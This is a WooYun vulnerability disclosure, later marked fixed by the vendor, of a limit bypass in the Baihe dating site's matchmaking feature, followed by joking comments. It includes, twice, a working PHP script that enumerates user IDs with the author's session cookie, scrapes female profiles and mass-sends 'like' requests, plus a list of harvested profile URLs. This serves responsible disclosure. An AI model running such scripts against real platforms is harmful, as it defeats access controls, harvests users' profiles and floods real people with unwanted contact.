当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-068061

漏洞标题：看我是如何批量刷百合网的妹子（已成功突破次数限制）

相关厂商：百合网

漏洞作者： hkAssassin

提交时间：2014-07-10 16:46

修复时间：2014-07-11 14:47

公开时间：2014-07-11 14:47

漏洞类型：未授权访问/权限绕过

危害等级：中

自评Rank：10

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-10： 细节已通知厂商并且等待厂商处理中
2014-07-10： 厂商已经确认，细节仅向厂商公开
2014-07-11： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

到了某个年纪你就会知道，一个人的日子真的难熬，渐渐开始尝到孤单的味道，时间在敲打着你的骄傲，过了某个路口你就会感到，彻夜陪你聊天的越来越少，厌倦了被寂寞追着跑，找个爱你的人就想托付终老……
事情就是从这首歌开始的。某天刚下班我依旧像往常一样在工作室体会着这歌。突然来了400的电话。电话中一个妹子说她是百合网线上的服务客服。说百合网新开了一个相亲平台可以免费体验。于是，我想我这种屌丝去看看也无妨。然后就去了，去了之后发现，丫丫个呸的，每天只能和3个女孩***。付费之后可以增长到20个。顿时我就不爽了。3个怎么够，20个也不够啊！不行，老师从小教我们不能轻易放弃。好吧！让本屌来试试，于是开启电脑，操起家伙……就这样开始了。

详细说明：

测试条件：你得有一个百合网的账号：下面我用自己的账号做个测试说明


登陆百合网点击上面的相亲

1.jpg


登陆进去之后的界面如下。默认没有付费的每天只可以和3个女孩互动，付费后上线为20个

2.jpg


3个或者20个那肯定不够么。我要和百合网相亲平台所有的妹子互动咋办。图2中妹子照片旁边有他的资料，点击进去之后到下面的图，注意看url和图的界面。这个页面中也可以和妹子互动，url中暴漏了妹子对应的id。于是我是这么想的……

3.jpg


通过爬虫遍历这个url。然后解析爬虫爬回来的页面挑选出链接中女孩的链接。同时发送互动操作的请求（喜欢，考虑下，不喜欢）。当然，也可以对爬回来的页面做更详细的解析，挑出复合你年龄范围的女孩子然后直接批量发送喜欢操作。然后你就睡觉等着妹子也喜欢你就可以了。具体的代码如下：


<?php
		  header("content-type:text/html;charset=utf-8");
id();   //爬虫开始
function id(){
	   for($i=1;$i<1000;$i++){
	     send($i);
		 if($i==410){
		 exit;
		 }
	   }
	   }
function send($id){		  
		   $fp = fsockopen("xq.ibaihe.com",80,$errno,$errstr,30);
			if(!$fp){
			 echo "$errstr ($errno)<br />\n";
			}else{	
			//$header = "GET /person?userId=108  HTTP/1.1\r\n";
			$header = "GET /person?userId=".$id."  HTTP/1.1\r\n";
		   $header.="Accept: text/html, application/xhtml+xml, */*\r\n";
		   $header.="Accept-Language: zh-CN \r\n";
		   $header.="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko \r\n";
			$header .= "Host:xq.ibaihe.com \r\n";
            $header .= "DNT: 1 \r\n";
            $header .= "Cookie: Hm_lpvt_887bcaca634b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780; XQAuthCookie=******（这里为你自己的登陆cookie） \r\n";
            $header .= "Connection: Close\r\n\r\n";
            fwrite($fp,$header);
           $status = stream_get_meta_data($fp);
     if(!$status['timed_out']) {     
                 while (!feof($fp)) {  
                     if(($header = @fgets($fp)) && ($header == "\r\n" ||  $header == "\n")) {     
                         break;     
                     }     
                 }             
                 $stop = false;     
                 while(!feof($fp) && !$stop) {     
                     $data = fread($fp,8192);      //8192为可返回字节数
                     $return .= $data;   
                 }     
             }  
$str1='女士';
$str2='她';
$po1=stripos($return,$str1);
$po2=stripos($return,$str2);
if($po1!=false|| $po2!=false){
	$url="http://xq.ibaihe.com/person?userId=".$id."\r\n";
	$fopen=fopen("bh.txt","a");
	fwrite($fopen,$url);
	sendLike($id);
}
 } 
		   fclose($fp);
		  
		  }   //send end
           
          
function sendLike($id){		  
		   $fp = fsockopen("xq.ibaihe.com",80,$errno,$errstr,30);
			if(!$fp){
			 echo "$errstr ($errno)<br />\n";
			}else{	
			//$header = "GET /person?userId=108  HTTP/1.1\r\n";
			$header = "POST /enjoy/  HTTP/1.1\r\n";
		   $header.="Accept: application/json, text/javascript, */*; q=0.01 \r\n";
		   $header.="Content-Type: application/x-www-form-urlencoded; charset=UTF-8 \r\n";
		   $header.="X-Requested-With: XMLHttpRequest \r\n";
		   $header.="Referer: http://xq.ibaihe.com/person?userId=".$id." \r\n";
		   $header.="Accept-Language: zh-CN \r\n";
		   $header.="Accept-Encoding: gzip, deflate \r\n";
		   $header.="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko \r\n";
			$header .= "Host:xq.ibaihe.com \r\n";
			$header .="Content-Length: 19 \r\n";
            $header .= "DNT: 1 \r\n";
			$hrader .="Proxy-Connection: Keep-Alive \r\n";
			$header.="Pragma: no-cache \r\n";
            $header .= "Cookie: Hm_lpvt_887bcaca63*******4b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780; XQAuthCookie=*********(这里写你自己的登陆cookie)\r\n\r\n";
			$header .="type=like&oppId=".$id;
            $header .= "Connection: Close\r\n\r\n";
            fwrite($fp,$header);
           while(!feof($fp)){
		    $res_str.=fgets($fp,512);
		   }
		   fclose($fp);
		   var_dump($res_str);
		  }  
}   //sendLike end


运行上面的代码之后会在当前目录下爬回如下的妹子链接：
http://xq.ibaihe.com/person?userId=1
http://xq.ibaihe.com/person?userId=30
http://xq.ibaihe.com/person?userId=33
http://xq.ibaihe.com/person?userId=34
http://xq.ibaihe.com/person?userId=36
http://xq.ibaihe.com/person?userId=37
http://xq.ibaihe.com/person?userId=38
http://xq.ibaihe.com/person?userId=40
http://xq.ibaihe.com/person?userId=42
http://xq.ibaihe.com/person?userId=46
http://xq.ibaihe.com/person?userId=50
http://xq.ibaihe.com/person?userId=51
http://xq.ibaihe.com/person?userId=53
http://xq.ibaihe.com/person?userId=54
http://xq.ibaihe.com/person?userId=55
http://xq.ibaihe.com/person?userId=56
http://xq.ibaihe.com/person?userId=59
http://xq.ibaihe.com/person?userId=60
http://xq.ibaihe.com/person?userId=63
http://xq.ibaihe.com/person?userId=67
http://xq.ibaihe.com/person?userId=69
http://xq.ibaihe.com/person?userId=77
http://xq.ibaihe.com/person?userId=78
http://xq.ibaihe.com/person?userId=79
http://xq.ibaihe.com/person?userId=82
http://xq.ibaihe.com/person?userId=83
http://xq.ibaihe.com/person?userId=84
http://xq.ibaihe.com/person?userId=85
http://xq.ibaihe.com/person?userId=86
http://xq.ibaihe.com/person?userId=87
http://xq.ibaihe.com/person?userId=89
http://xq.ibaihe.com/person?userId=90
http://xq.ibaihe.com/person?userId=91
http://xq.ibaihe.com/person?userId=94
http://xq.ibaihe.com/person?userId=95
http://xq.ibaihe.com/person?userId=96
http://xq.ibaihe.com/person?userId=97
http://xq.ibaihe.com/person?userId=100
http://xq.ibaihe.com/person?userId=102
http://xq.ibaihe.com/person?userId=103
http://xq.ibaihe.com/person?userId=104
http://xq.ibaihe.com/person?userId=105
http://xq.ibaihe.com/person?userId=106
http://xq.ibaihe.com/person?userId=107
http://xq.ibaihe.com/person?userId=108
http://xq.ibaihe.com/person?userId=109
http://xq.ibaihe.com/person?userId=111
http://xq.ibaihe.com/person?userId=112
http://xq.ibaihe.com/person?userId=114
http://xq.ibaihe.com/person?userId=115
http://xq.ibaihe.com/person?userId=116
http://xq.ibaihe.com/person?userId=117
http://xq.ibaihe.com/person?userId=120
http://xq.ibaihe.com/person?userId=121
http://xq.ibaihe.com/person?userId=123
http://xq.ibaihe.com/person?userId=127
http://xq.ibaihe.com/person?userId=128
http://xq.ibaihe.com/person?userId=132
http://xq.ibaihe.com/person?userId=135
http://xq.ibaihe.com/person?userId=138
http://xq.ibaihe.com/person?userId=143
http://xq.ibaihe.com/person?userId=145
http://xq.ibaihe.com/person?userId=147
http://xq.ibaihe.com/person?userId=151
http://xq.ibaihe.com/person?userId=157
http://xq.ibaihe.com/person?userId=158
http://xq.ibaihe.com/person?userId=160
http://xq.ibaihe.com/person?userId=162
http://xq.ibaihe.com/person?userId=163
http://xq.ibaihe.com/person?userId=166
http://xq.ibaihe.com/person?userId=168
http://xq.ibaihe.com/person?userId=170
http://xq.ibaihe.com/person?userId=171
http://xq.ibaihe.com/person?userId=172
http://xq.ibaihe.com/person?userId=173
http://xq.ibaihe.com/person?userId=174
http://xq.ibaihe.com/person?userId=178
http://xq.ibaihe.com/person?userId=179
http://xq.ibaihe.com/person?userId=180
http://xq.ibaihe.com/person?userId=183
http://xq.ibaihe.com/person?userId=184
http://xq.ibaihe.com/person?userId=187
http://xq.ibaihe.com/person?userId=188
http://xq.ibaihe.com/person?userId=189
http://xq.ibaihe.com/person?userId=190
http://xq.ibaihe.com/person?userId=191
http://xq.ibaihe.com/person?userId=192
http://xq.ibaihe.com/person?userId=193
http://xq.ibaihe.com/person?userId=194
http://xq.ibaihe.com/person?userId=195
http://xq.ibaihe.com/person?userId=197
http://xq.ibaihe.com/person?userId=198
http://xq.ibaihe.com/person?userId=199
http://xq.ibaihe.com/person?userId=200
http://xq.ibaihe.com/person?userId=203
http://xq.ibaihe.com/person?userId=204
http://xq.ibaihe.com/person?userId=205
http://xq.ibaihe.com/person?userId=207
http://xq.ibaihe.com/person?userId=208
http://xq.ibaihe.com/person?userId=209
http://xq.ibaihe.com/person?userId=210
http://xq.ibaihe.com/person?userId=211
http://xq.ibaihe.com/person?userId=213
http://xq.ibaihe.com/person?userId=214
http://xq.ibaihe.com/person?userId=218
………………
http://xq.ibaihe.com/person?userId=406
http://xq.ibaihe.com/person?userId=409
最后这两个url对应的就是下面图中打码的妹子。就是直接爬回链接然后直接发送喜欢操作的两个妹子。
如果你不想对所有的妹子做互动操作，那么你可以吧爬回来的链接一个一个复制到浏览器，挑你喜欢的妹子在点击喜欢即可！


e.jpg


上面这个图证明了我确实和很多妹子做了互动。没有受次数限制。

漏洞证明：

测试条件：你得有一个百合网的账号：下面我用自己的账号做个测试说明


登陆百合网点击上面的相亲

1.jpg


登陆进去之后的界面如下。默认没有付费的每天只可以和3个女孩互动，付费后上线为20个

2.jpg


3个或者20个那肯定不够么。我要和百合网相亲平台所有的妹子互动咋办。图2中妹子照片旁边有他的资料，点击进去之后到下面的图，注意看url和图的界面。这个页面中也可以和妹子互动，url中暴漏了妹子对应的id。于是我是这么想的……

3.jpg


通过爬虫遍历这个url。然后解析爬虫爬回来的页面挑选出链接中女孩的链接。同时发送互动操作的请求（喜欢，考虑下，不喜欢）。当然，也可以对爬回来的页面做更详细的解析，挑出复合你年龄范围的女孩子然后直接批量发送喜欢操作。然后你就睡觉等着妹子也喜欢你就可以了。具体的代码如下：


<?php
		  header("content-type:text/html;charset=utf-8");
id();   //爬虫开始
function id(){
	   for($i=1;$i<1000;$i++){
	     send($i);
		 if($i==410){
		 exit;
		 }
	   }
	   }
function send($id){		  
		   $fp = fsockopen("xq.ibaihe.com",80,$errno,$errstr,30);
			if(!$fp){
			 echo "$errstr ($errno)<br />\n";
			}else{	
			//$header = "GET /person?userId=108  HTTP/1.1\r\n";
			$header = "GET /person?userId=".$id."  HTTP/1.1\r\n";
		   $header.="Accept: text/html, application/xhtml+xml, */*\r\n";
		   $header.="Accept-Language: zh-CN \r\n";
		   $header.="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko \r\n";
			$header .= "Host:xq.ibaihe.com \r\n";
            $header .= "DNT: 1 \r\n";
            $header .= "Cookie: Hm_lpvt_887bcaca634b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780; XQAuthCookie=******（这里为你自己的登陆cookie） \r\n";
            $header .= "Connection: Close\r\n\r\n";
            fwrite($fp,$header);
           $status = stream_get_meta_data($fp);
     if(!$status['timed_out']) {     
                 while (!feof($fp)) {  
                     if(($header = @fgets($fp)) && ($header == "\r\n" ||  $header == "\n")) {     
                         break;     
                     }     
                 }             
                 $stop = false;     
                 while(!feof($fp) && !$stop) {     
                     $data = fread($fp,8192);      //8192为可返回字节数
                     $return .= $data;   
                 }     
             }  
$str1='女士';
$str2='她';
$po1=stripos($return,$str1);
$po2=stripos($return,$str2);
if($po1!=false|| $po2!=false){
	$url="http://xq.ibaihe.com/person?userId=".$id."\r\n";
	$fopen=fopen("bh.txt","a");
	fwrite($fopen,$url);
	sendLike($id);
}
 } 
		   fclose($fp);
		  
		  }   //send end
           
          
function sendLike($id){		  
		   $fp = fsockopen("xq.ibaihe.com",80,$errno,$errstr,30);
			if(!$fp){
			 echo "$errstr ($errno)<br />\n";
			}else{	
			//$header = "GET /person?userId=108  HTTP/1.1\r\n";
			$header = "POST /enjoy/  HTTP/1.1\r\n";
		   $header.="Accept: application/json, text/javascript, */*; q=0.01 \r\n";
		   $header.="Content-Type: application/x-www-form-urlencoded; charset=UTF-8 \r\n";
		   $header.="X-Requested-With: XMLHttpRequest \r\n";
		   $header.="Referer: http://xq.ibaihe.com/person?userId=".$id." \r\n";
		   $header.="Accept-Language: zh-CN \r\n";
		   $header.="Accept-Encoding: gzip, deflate \r\n";
		   $header.="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko \r\n";
			$header .= "Host:xq.ibaihe.com \r\n";
			$header .="Content-Length: 19 \r\n";
            $header .= "DNT: 1 \r\n";
			$hrader .="Proxy-Connection: Keep-Alive \r\n";
			$header.="Pragma: no-cache \r\n";
            $header .= "Cookie: Hm_lpvt_887bcaca63*******4b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780; XQAuthCookie=*********(这里写你自己的登陆cookie)\r\n\r\n";
			$header .="type=like&oppId=".$id;
            $header .= "Connection: Close\r\n\r\n";
            fwrite($fp,$header);
           while(!feof($fp)){
		    $res_str.=fgets($fp,512);
		   }
		   fclose($fp);
		   var_dump($res_str);
		  }  
}   //sendLike end


运行上面的代码之后会在当前目录下爬回如下的妹子链接：
http://xq.ibaihe.com/person?userId=1
http://xq.ibaihe.com/person?userId=30
http://xq.ibaihe.com/person?userId=33
http://xq.ibaihe.com/person?userId=34
http://xq.ibaihe.com/person?userId=36
http://xq.ibaihe.com/person?userId=37
http://xq.ibaihe.com/person?userId=38
http://xq.ibaihe.com/person?userId=40
http://xq.ibaihe.com/person?userId=42
http://xq.ibaihe.com/person?userId=46
http://xq.ibaihe.com/person?userId=50
http://xq.ibaihe.com/person?userId=51
http://xq.ibaihe.com/person?userId=53
http://xq.ibaihe.com/person?userId=54
http://xq.ibaihe.com/person?userId=55
http://xq.ibaihe.com/person?userId=56
http://xq.ibaihe.com/person?userId=59
http://xq.ibaihe.com/person?userId=60
http://xq.ibaihe.com/person?userId=63
http://xq.ibaihe.com/person?userId=67
http://xq.ibaihe.com/person?userId=69
http://xq.ibaihe.com/person?userId=77
http://xq.ibaihe.com/person?userId=78
http://xq.ibaihe.com/person?userId=79
http://xq.ibaihe.com/person?userId=82
http://xq.ibaihe.com/person?userId=83
http://xq.ibaihe.com/person?userId=84
http://xq.ibaihe.com/person?userId=85
http://xq.ibaihe.com/person?userId=86
http://xq.ibaihe.com/person?userId=87
http://xq.ibaihe.com/person?userId=89
http://xq.ibaihe.com/person?userId=90
http://xq.ibaihe.com/person?userId=91
http://xq.ibaihe.com/person?userId=94
http://xq.ibaihe.com/person?userId=95
http://xq.ibaihe.com/person?userId=96
http://xq.ibaihe.com/person?userId=97
http://xq.ibaihe.com/person?userId=100
http://xq.ibaihe.com/person?userId=102
http://xq.ibaihe.com/person?userId=103
http://xq.ibaihe.com/person?userId=104
http://xq.ibaihe.com/person?userId=105
http://xq.ibaihe.com/person?userId=106
http://xq.ibaihe.com/person?userId=107
http://xq.ibaihe.com/person?userId=108
http://xq.ibaihe.com/person?userId=109
http://xq.ibaihe.com/person?userId=111
http://xq.ibaihe.com/person?userId=112
http://xq.ibaihe.com/person?userId=114
http://xq.ibaihe.com/person?userId=115
http://xq.ibaihe.com/person?userId=116
http://xq.ibaihe.com/person?userId=117
http://xq.ibaihe.com/person?userId=120
http://xq.ibaihe.com/person?userId=121
http://xq.ibaihe.com/person?userId=123
http://xq.ibaihe.com/person?userId=127
http://xq.ibaihe.com/person?userId=128
http://xq.ibaihe.com/person?userId=132
http://xq.ibaihe.com/person?userId=135
http://xq.ibaihe.com/person?userId=138
http://xq.ibaihe.com/person?userId=143
http://xq.ibaihe.com/person?userId=145
http://xq.ibaihe.com/person?userId=147
http://xq.ibaihe.com/person?userId=151
http://xq.ibaihe.com/person?userId=157
http://xq.ibaihe.com/person?userId=158
http://xq.ibaihe.com/person?userId=160
http://xq.ibaihe.com/person?userId=162
http://xq.ibaihe.com/person?userId=163
http://xq.ibaihe.com/person?userId=166
http://xq.ibaihe.com/person?userId=168
http://xq.ibaihe.com/person?userId=170
http://xq.ibaihe.com/person?userId=171
http://xq.ibaihe.com/person?userId=172
http://xq.ibaihe.com/person?userId=173
http://xq.ibaihe.com/person?userId=174
http://xq.ibaihe.com/person?userId=178
http://xq.ibaihe.com/person?userId=179
http://xq.ibaihe.com/person?userId=180
http://xq.ibaihe.com/person?userId=183
http://xq.ibaihe.com/person?userId=184
http://xq.ibaihe.com/person?userId=187
http://xq.ibaihe.com/person?userId=188
http://xq.ibaihe.com/person?userId=189
http://xq.ibaihe.com/person?userId=190
http://xq.ibaihe.com/person?userId=191
http://xq.ibaihe.com/person?userId=192
http://xq.ibaihe.com/person?userId=193
http://xq.ibaihe.com/person?userId=194
http://xq.ibaihe.com/person?userId=195
http://xq.ibaihe.com/person?userId=197
http://xq.ibaihe.com/person?userId=198
http://xq.ibaihe.com/person?userId=199
http://xq.ibaihe.com/person?userId=200
http://xq.ibaihe.com/person?userId=203
http://xq.ibaihe.com/person?userId=204
http://xq.ibaihe.com/person?userId=205
http://xq.ibaihe.com/person?userId=207
http://xq.ibaihe.com/person?userId=208
http://xq.ibaihe.com/person?userId=209
http://xq.ibaihe.com/person?userId=210
http://xq.ibaihe.com/person?userId=211
http://xq.ibaihe.com/person?userId=213
http://xq.ibaihe.com/person?userId=214
http://xq.ibaihe.com/person?userId=218
………………
http://xq.ibaihe.com/person?userId=406
http://xq.ibaihe.com/person?userId=409
最后这两个url对应的就是下面图中打码的妹子。就是直接爬回链接然后直接发送喜欢操作的两个妹子。
如果你不想对所有的妹子做互动操作，那么你可以吧爬回来的链接一个一个复制到浏览器，挑你喜欢的妹子在点击喜欢即可！


e.jpg


上面这个图证明了我确实和很多妹子做了互动。没有受次数限制。

修复方案：

你们懂！
ps:求结束单身的屌丝生活。求免费介绍更多妹子。

版权声明：转载请注明来源 hkAssassin@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-07-10 17:39

厂商回复：

确认漏洞

最新状态：

2014-07-11：漏洞已修复

漏洞评价：

评论

  1. 2014-07-10 16:47 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    洞主广撒网啊，人海战术？

  2. 2014-07-10 16:49 | Manning ( 普通白帽子 | Rank:559 漏洞数:78 | 就恨自己服务器太少)

    来，说说你的故事

  3. 2014-07-10 16:51 | zhxs ( 实习白帽子 | Rank:32 漏洞数:19 | Jyhack-TeaM：http://bbs.jyhack.com/)

    哇、救救我吧、漏洞好东西大家分享..瞧瞧告诉我

  4. 2014-07-10 16:53 | luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)

    “操起家伙……”

  5. 2014-07-10 16:54 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    @疯狗 哈哈。程序最大坏处就是帮我挑不出我喜欢的类型，要不然让程序也帮我干了……

  6. 2014-07-10 16:54 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    @Manning 故事还得从抛弃我的妹子开始……

  7. 2014-07-10 16:55 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    @zhxs 终于等到你，还好你没放弃……

  8. 2014-07-10 16:57 | 魇 ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子，但是除了他华...)

    猥琐感十足

  9. 2014-07-10 17:02 | 浮萍 ( 普通白帽子 | Rank:555 漏洞数:118 | 默默潜水)

    这就操起家伙了

  10. 2014-07-10 17:11 | 07@jyhack.com ( 路人 | Rank:14 漏洞数:10 | 希望和大家多多交流，多多沟通、)

    羡慕。。。

  11. 2014-07-10 17:25 | 一只猿 ( 普通白帽子 | Rank:463 漏洞数:89 | 硬件与无线通信研究方向)

    这就操了？

  12. 2014-07-10 17:34 | 专业种田 认证白帽子 ( 核心白帽子 | Rank:1425 漏洞数:182 | 没有最专业的农民,只有更努力地耕耘..........)

    黑阔与妹子的爱情故事，多动人啊。

  13. 2014-07-10 17:50 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    @魇 都是妹子逼的……哈哈

  14. 2014-07-10 17:50 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    @专业种田 我牺牲了色相……哇哇哇！

  15. 2014-07-10 19:44 | Jn· ( 路人 | Rank:30 漏洞数:14 | 本小菜很可爱，如果不服你TM来打我啊--哎呀...)

    这就操起家伙了

  16. 2014-07-10 22:27 | zhxs ( 实习白帽子 | Rank:32 漏洞数:19 | Jyhack-TeaM：http://bbs.jyhack.com/)

    @hkAssassin 0.0我不搞基哈.

  17. 2014-07-10 23:04 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    哎哟，约到了吗？

  18. 2014-07-10 23:38 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    @wefgod 大牛你猜……

  19. 2014-07-11 08:54 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    操起家伙

  20. 2014-07-11 16:45 | 【|→上善若水】 ( 普通白帽子 | Rank:127 漏洞数:25 | 【|→上善若水】)

    上面这个图证明了我确实和很多妹子做了互动。没有受次数限制。

  21. 2014-07-11 21:13 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    @【|→上善若水】 擦……叫你一声淫荡的小贱人，你敢答应么……敢答应么！哈哈

  22. 2014-07-11 21:54 | 无边落木 ( 路人 | Rank:2 漏洞数:1 | winter is coming！)

    洞主是一个有故事的男淫

  23. 2014-07-11 22:53 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    @无边落木 这你都看的出来……

  24. 2014-07-11 23:44 | diskring ( 路人 | Rank:4 漏洞数:3 | 小号。。)

    不早告诉我

  25. 2014-07-12 16:57 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    @diskring 早上那里告诉你去……我现在也后悔了……刚修复完，就发现一个我喜欢的妹子，可惜，晚了……哈哈

  26. 2014-07-13 10:08 | 97_ ( 路人 | Rank:12 漏洞数:1 | 新来的小菜鸟)

    洞主好猥琐～

  27. 2014-07-14 10:26 | 风之传说 ( 普通白帽子 | Rank:138 漏洞数:28 | 借用朋友的一句话，你的时间在哪里，你的成...)

    有这么好的东西你竟然不告诉我就发出来了。。大把的妹子啊。

  28. 2014-07-14 14:14 | TG666 ( 路人 | Rank:18 漏洞数:1 | 云霓之望，人应远虑网安天下，信念为先)

    这种发什么乌云，直接论坛里面分享下啊，哎，这样又要害好多人害的我们这些单身的又要付钱相亲了

  29. 2014-07-14 15:34 | Aerfa21 ( 普通白帽子 | Rank:165 漏洞数:44 )

    洞主，学以致用啊~

  30. 2014-07-14 16:27 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    @TG666 我也不知道我为什么要发……

  31. 2014-07-14 16:27 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    @风之传说 有缘网的洞还有你要么。和这个姿势查不多……

  32. 2014-07-14 17:52 | 小白喵咪 ( 路人 | Rank:10 漏洞数:1 | IT小刁刁 未成年白客！)

    特么 我是过来看评论的。。笑喷了～

  33. 2014-07-15 16:55 | yinian ( 实习白帽子 | Rank:67 漏洞数:22 | 代 码 审 计 求 交 流)

    猥琐的说，洞主为妹子而挖洞。

  34. 2014-07-16 09:16 | 风之传说 ( 普通白帽子 | Rank:138 漏洞数:28 | 借用朋友的一句话，你的时间在哪里，你的成...)

    @hkAssassin 哈哈，开玩笑的啦。。都快结婚了。。我来凑凑热闹滴。。

  35. 2014-07-16 10:58 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    @风之传说 好好对自己的老婆，要不然叫二表哥打你，哈哈……

  36. 2014-07-20 08:43 | CoffeeSafe ( 普通白帽子 | Rank:142 漏洞数:37 )

    牛XXXX

  37. 2014-07-20 08:50 | 汪哥 ( 路人 | Rank:28 漏洞数:6 )

    楼主收藏夹什么打码了？？？

  38. 2014-07-20 14:20 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    @汪哥 果然犀利这都注意到了……好东西……

  39. 2014-07-24 10:16 | Elliott ( 实习白帽子 | Rank:40 漏洞数:9 | 绝逼不当程序员)

    够猥琐！感谢！学习了！

  40. 2014-08-05 16:15 | hcyoo ( 路人 | Rank:4 漏洞数:4 | 自从得了精神病，感觉整个人都精神多了。)

    感动的我眼睛里面全是泪水，太感谢这思路了。

  41. 2014-08-08 21:09 | 小指头 ( 实习白帽子 | Rank:97 漏洞数:19 | 不想当大拇指的小指头，不是个好手。)

    @hkAssassin "Cookie: Hm_lpvt_887bcaca634b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780;"中Hm_lpvt和Hm_lvt这两个是什么东东？

  42. 2014-08-11 10:36 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    @小指头 cookie 的具体字段问百合，没研究过……